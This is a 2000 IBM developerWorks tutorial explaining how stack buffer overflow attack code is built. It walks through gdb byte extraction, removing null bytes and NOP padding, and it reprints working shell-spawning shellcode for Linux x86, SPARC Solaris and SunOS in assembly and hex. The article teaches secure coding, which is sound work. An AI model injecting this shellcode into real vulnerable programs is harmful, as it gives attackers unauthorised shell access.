IBM®
Skip to main content
    Country/region [select]      Terms of use
 
 
      
     Home      Products      Services & solutions      Support & downloads      My account     

developerWorks > Security >
developerWorks
Make your software behave: An anatomy of attack code
77KB
Contents:
A UNIX exploit
The two challenges
How to craft an exploit
Summary
Resources
About the authors
Rate this article
Subscriptions:
dW newsletters
dW Subscription
(CDs and downloads)
An analysis of how a buffer overflow does its dirty work

Gary McGraw, Reliable Software Technologies
John Viega, Reliable Software Technologies

01 Mar 2000

In the previous installment, we explained how to "smash" a program stack -- that is, how to overwrite the return address and allow program execution to jump to carefully crafted attack code. We explained how to jump to the attack code via buffer overflow, but we didn't go into any detail about placing the exploit on the stack. This time we'll show you what attack code actually looks like.

Crafting a buffer overflow exploit may seem easy at first blush, but it turns out to be fairly hard work. Figuring out how to overflow a particular buffer and modify the return address is half the battle, which we addressed in the previous installment. Now it's time to address the other half -- that is, how to "own" the program and get it to do anything you want.

On UNIX machines, the goal of the attacker is to get an interactive shell. This means typical attack code usually attempts to fire up /bin/sh. In C, the code to spin a shell looks like this:


void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0x00);
}

In a Windows environment, the usual goal is to download a nasty Trojan horse onto the machine and execute it. A great Trojan horse to use is Back Orifice 2000 from Cult of the Dead Cow (see Resources).

In this article, we will discuss the major issues involved in crafting exploits for both UNIX and Windows boxes. We won't go into as much tutorial-style detail as last time, because doing so would require too much exposure to assembly code. Our goal here is to make sure that readers without lots of assembly-language experience will be able to follow along. If you hanker for more detailed references, see Resources.

A UNIX exploit
Let's assume we've got a UNIX function in C that does what we want it to do (that is, it gets us a shell). Given that code (displayed above) and a buffer that we can overflow (as dissected in the previous installment), how do we combine these two pieces to get the intended result?

From 50,000 feet, here's what we do: Compile our attack code, extract the binary for the piece that actually does the work (the execl call), and then insert the compiled exploit code into the buffer we are overwriting. We can insert the code snippet before or after the return address we have to write over, depending on space limitations. Then we have to figure out exactly where the overflow code should jump, and place that address at the exact proper location in the buffer in such a way that it overwrites the normal return address. All of this means that the data we want to inject into the buffer we are overflowing will need to look something like this:

PositionContents
Start of bufferOur exploit code might fit here; otherwise, whatever
End of bufferOur exploit code might fit here; otherwise, whatever
Other varsOur exploit code might fit here; otherwise, whatever
Return address A jump-to location that will cause our exploit to run
ParametersOur exploit code, if it didn't fit elsewhere
Rest of stackOur exploit code, continued, and any data our code needs

Sometimes we can fit the exploit code before the return address, but usually there isn't enough space. If our exploit is not large, we may even need to fill some leftover space. Often, it is possible to pad any extra space with a series of periods. Sometimes this doesn't work, however. Whether the period-padding approach works or not depends on what the rest of the code does. For example, in a previous installment we showed code with a hard-and-fast requirement that one byte of the parameter space be set to a specific value. Without the specific value in the right place, the program would crash before it had a chance to get to the overwritten return address.

In any case, the most immediate problem is to take our attack code and get some representation for it that we can stick directly into a stack exploit. One way to do this is to create a little binary and take a hexdump. This approach often requires playing around a bit to figure out which parts of the binary do what. Fortunately, there is a better way to get the code we need. We can use a debugger!

First we write a C program that invokes our exploit function:


void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0x00);
}

void main() {
  exploit();
}

Next, we compile this program with debugging on:

gcc -o exploit -g exploit.c

Then we run it using gdb, the GNU debugger, using the command:

gdb exploit

Now we can look at the code in assembly format and tell how many bytes each instruction maps to, using the following command:

disassemble exploit

This gives us something like this:


Dump of assembler code for function exploit:
0x8048474 <exploit>:    pushl  %ebp
0x8048475 <exploit+1>:  movl   %esp,%ebp
0x8048477 <exploit+3>:  subl   $0x4,%esp
0x804847a <exploit+6>:  movl   $0x80484d8,0xfffffffc(%ebp)
0x8048481 <exploit+13>: pushl  $0x0
0x8048483 <exploit+15>: movl   0xfffffffc(%ebp),%eax
0x8048486 <exploit+18>: pushl  %eax
0x8048487 <exploit+19>: movl   0xfffffffc(%ebp),%eax
0x804848a <exploit+22>: pushl  %eax
0x804848b <exploit+23>: call   0x8048378 <execl>
0x8048490 <exploit+28>: addl   $0xc,%esp
0x8048493 <exploit+31>: leave  
0x8048494 <exploit+32>: ret    
0x8048495 <exploit+33>: leal   0x0(%esi),%esi
End of assembler dump.

We can get each byte of this function in hexadecimal one at a time by using the x/bx command. To do this, start by typing the command:

x/bx exploit

The utility will show you the value of the first byte in hexadecimal. For example:

0x804874 <exploit>:        0x55

Keep tapping the Enter key, and the utility will reveal subsequent bytes. You can tell when the interesting stuff has all gone by, because the word <exploit> in the output will go away. Remember that we (usually) don't care about function prologue and epilogue stuff. You can often leave those bytes out, as long as you get all the offsets correct relative to the actual base pointer (ebp).

The two challenges
Direct compilation of our exploit straight from C has a few complications. The biggest problem is that the constant memory addresses in the assembled version are probably going to be completely different in the program we're trying to overflow. For example, we don't know where execl is going to live, nor do we know where our string "/bin/sh" will end up being stored. Dang -- two challenges!

Getting around the first challenge is not hard. We can statically link execl into our program, view the assembly code generated to call execl, and use that assembly directly. (The execl turns out to be a wrapper for the execve system call anyway, so it is easier to use the execve library call in our code, then disassemble that!) Using the static linking approach, we end up invoking the system call directly, based on the index into system calls held by the operating system. This number isn't going to change from install to install.

Unfortunately, the second challenge -- getting the address of our string -- is more problematic. The easiest thing to do is to lay it out in memory right after our code, and simply do the math to figure out where our string lives relative to the base pointer. Then we can indirectly address the string via a known offset from the base pointer instead of having to worry about the actual memory address. Of course, other clever hacks will achieve similar results.

As we address our two main challenges, it is important to remember that most functions that have buffers that are susceptible to buffer-overflow attacks operate on null-terminated strings. That means when these functions see a null character, they cease whatever operation they are performing (usually some sort of copy) and return. Because of this, exploit code cannot include any null bytes. If, for some reason, exploit code absolutely requires a null byte, the byte in question must be the last byte to be inserted, since nothing following it will get copied.

To get a better handle on this, let's examine the C version of the exploit we're crafting:


void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0x00);
}

The 0x00 is a null character, and it will stay a null character even when compiled into binary code. At first this might seem problematic, because we need to null-terminate the arguments to execl. However, we can get a null without explicitly using 0x00. We can use the simple rule that anything XOR'd with itself is 0. In C, we might thus rewrite our code as follows:


void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0xff ^ 0xff);
}

The XOR thing is a good sneaky approach, but it still might not be enough. We really need to look over the assembly and its mapping into hexadecimal to see if any null bytes are generated anywhere by the compiler. When we do find null bytes, we usually have to rewrite the binary code to get rid of them. Removing null bytes is best accomplished by compiling to assembly, then tweaking the assembly code.

Of course, we can circumvent all of these sticky issues by simply looking up some shell-spinning code that is known to work and copying it. The well-known hacker Aleph One has produced such code for Linux, Solaris, and SunOS (see Resources). We reproduce the code for each platform here, in both assembly and hexadecimal as an ASCII string.

Linux on Intel machines, assembly:

jmp  0x1f
popl  %esi
movl  %esi, 0x8(%esi)
xorl  %eax,%eax
movb  %eax,0x7(%esi)
movl  %eax,0xc(%esi)
movb  $0xb,%al
movl  %esi,%ebx
leal  0x8(%esi),%ecx
leal  0xc(%esi),%edx
int $0x80
xorl  %ebx,%ebx
movl  %ebx,%eax
inc %eax
int $0x80
call  -0x24
.string \"/bin/sh\"

Linux on Intel machines, as an ASCII string:


"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e
\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

SPARC Solaris, in assembly:


sethi   0xbd89a, %l6
or  %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st  %sp, [%sp - 8]
st  %g0, [%sp - 4]
mov 0x3b, %g1
ta  8
xor %o7, %o7, %o0
mov 1, %g1
ta  8

SPARC Solaris, as an ASCII string:

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08
\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc
\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"

SPARC SunOS, in assembly:

sethi   0xbd89a, %l6
or  %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st  %sp, [%sp - 8]
st  %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta  %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta  %l5 + 1

SPARC SunOS, as an ASCII string:

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08
\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc
\x82\x10\x20\x3b\xaa\x10\x3f\xff\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01
\x91\xd5\x60\x01"

Voila -- instant exploit code!

How to craft an exploit
Of course, now that we have exploit code, we need to stick it on the stack (or somewhere else that is accessible through a jump). Then we need to determine the exploit code's exact address, and overwrite the original return address so that program execution jumps to the address of our exploit.

We found in our last installment that the start of the stack is always the same address for a particular program, a useful fact. But the actual value of the exploit code's address is important too. What if that address has a null byte in it (something that is all too common in Windows applications)? One solution is to find a piece of code that lives in the program memory and that executes a jump or return to the stack pointer. When the executing function returns, control marches on to the exploit code address just after the stack pointer is updated to point right to our code. Perfect! Of course, we have to make sure that the address with this instruction does not contain a null byte itself.

If we've done enough analysis of the program itself, we may already know the memory address of the buffer we want to overflow. Sometimes, for instance, when you don't have a copy of the program source code to play with, you might figure things out by trial and error. Once you identify a buffer you can overflow, you can generally figure out the distance from the start of the buffer to the return address by slowly shrinking a test string until the program stops crashing. Then it's merely a matter of figuring out the actual address to which you need to jump.

Knowing approximately where the stack starts is a big help. We can learn this by trial and error. Unfortunately, we have to get the address exactly right, down to the byte, or the program will crash. Coming up with the right address using the trial and error approach may take a while. To make things easier, we can insert lots of null operations in front of the shell code. Then if we come close but don't get things exactly right, the code will still execute. This trick can greatly reduce the amount of time we spend trying to figure out exactly where on the stack our code was deposited.

Sometimes we won't be able to overflow a buffer with arbitrary amounts of data. Several reasons explain why this might be the case. For example, we might find a strncpy that copies up to 100 bytes into a 32-byte buffer. In that case, we can overflow 68 bytes, but no more. Another common problem is that overwriting part of the stack may have disastrous consequences before the exploit occurs. Usually this happens when essential parameters or other local variables that are to be used before the function returns become overwritten. If overwriting the return address without causing a crash is not even possible, the answer is to try to reconstruct and mimic the state of the stack before exploiting the overflow.

If a genuine size limitation exists, but we can still overwrite the return address, a few options remain. We can try to find a heap overflow, and place our code in the heap instead. Jumping into the heap is always possible. Another option is to place the shell code in an environment variable, which is generally stored at the top of the stack.

When it comes to crafting an exploit, Windows tends to offer some additional difficulties beyond the traditional UNIX platform issues. The most challenging hurdle is that many interesting functions you might want to call are dynamically loaded. Figuring out where those functions live in memory can be difficult. If they aren't already in memory, you have to figure out how to load them. To find all this information out, you need to have an idea of what DLLs are loaded when your code executes, and start searching the import tables of those DLLs. (They stay the same as long as you are using the same version of a DLL.) This turns out to be really hard. If you're really interested, "DilDog" goes into much detail on crafting a buffer overflow exploit for Windows platforms in his paper, "The Tao of Windows Buffer Overflow" (see Resources).

Summary
Crafting an exploit for a stack overflow is fairly difficult, even if you have mastered the underlying concepts covered in our series of articles. A pile of practical issues get in the way of directly applying the theory. Remember, stealing someone else's work whenever possible makes buffer overflow exploits much easier!

Resources

Related articles in the "Make your software behave" column on developerWorks:

About the authors
Gary McGraw is the vice president of corporate technology at Reliable Software Technologies in Dulles, VA. Working with Consulting Services and Research, he helps set technology research and development direction. McGraw began his career at Reliable Software Technologies as a Research Scientist, and he continues to pursue research in Software Engineering and computer security. He holds a dual Ph.D. in Cognitive Science and Computer Science from Indiana University and a B.A. in Philosophy from the University of Virginia. He has written more than 40 peer-reviewed articles for technical publications, consults with major e-commerce vendors including Visa and the Federal Reserve, and has served as principal investigator on grants from Air Force Research Labs, DARPA, National Science Foundation, and NIST's Advanced Technology Program.

McGraw is a noted authority on mobile code security and co-authored both "Java Security: Hostile Applets, Holes, & Antidotes" (Wiley, 1996) and "Securing Java: Getting down to business with mobile code" (Wiley, 1999) with Professor Ed Felten of Princeton. Along with RST co-founder and Chief Scientist Dr. Jeffrey Voas, McGraw wrote "Software Fault Injection: Inoculating Programs Against Errors" (Wiley, 1998). McGraw regularly contributes to popular trade publications and is often quoted in national press articles.


John Viega is a Senior Research Associate, Software Security Group co-founder, and Senior Consultant at Reliable Software Technologies. He is the Principal Investigator on a DARPA-sponsored grant for developing security extensions for standard programming languages. John has authored over 30 technical publications in the areas of software security and testing. He is responsible for finding several well-publicized security vulnerabilities in major network and e-commerce products, including a recent break in Netscape's security. He is also a prominent member of the open-source software community, having written Mailman, the GNU Mailing List Manager, and, more recently, ITS4, a tool for finding security vulnerabilities in C and C++ code. Viega holds a M.S. in Computer Science from the University of Virginia.



77KB
Rate this article

This content was helpful to me:

Strongly disagree (1)Disagree (2)Neutral (3)Agree (4)Strongly agree (5)

Comments?



developerWorks > Security >
developerWorks
  About IBM  |  Privacy  |  Terms of use  |  Contact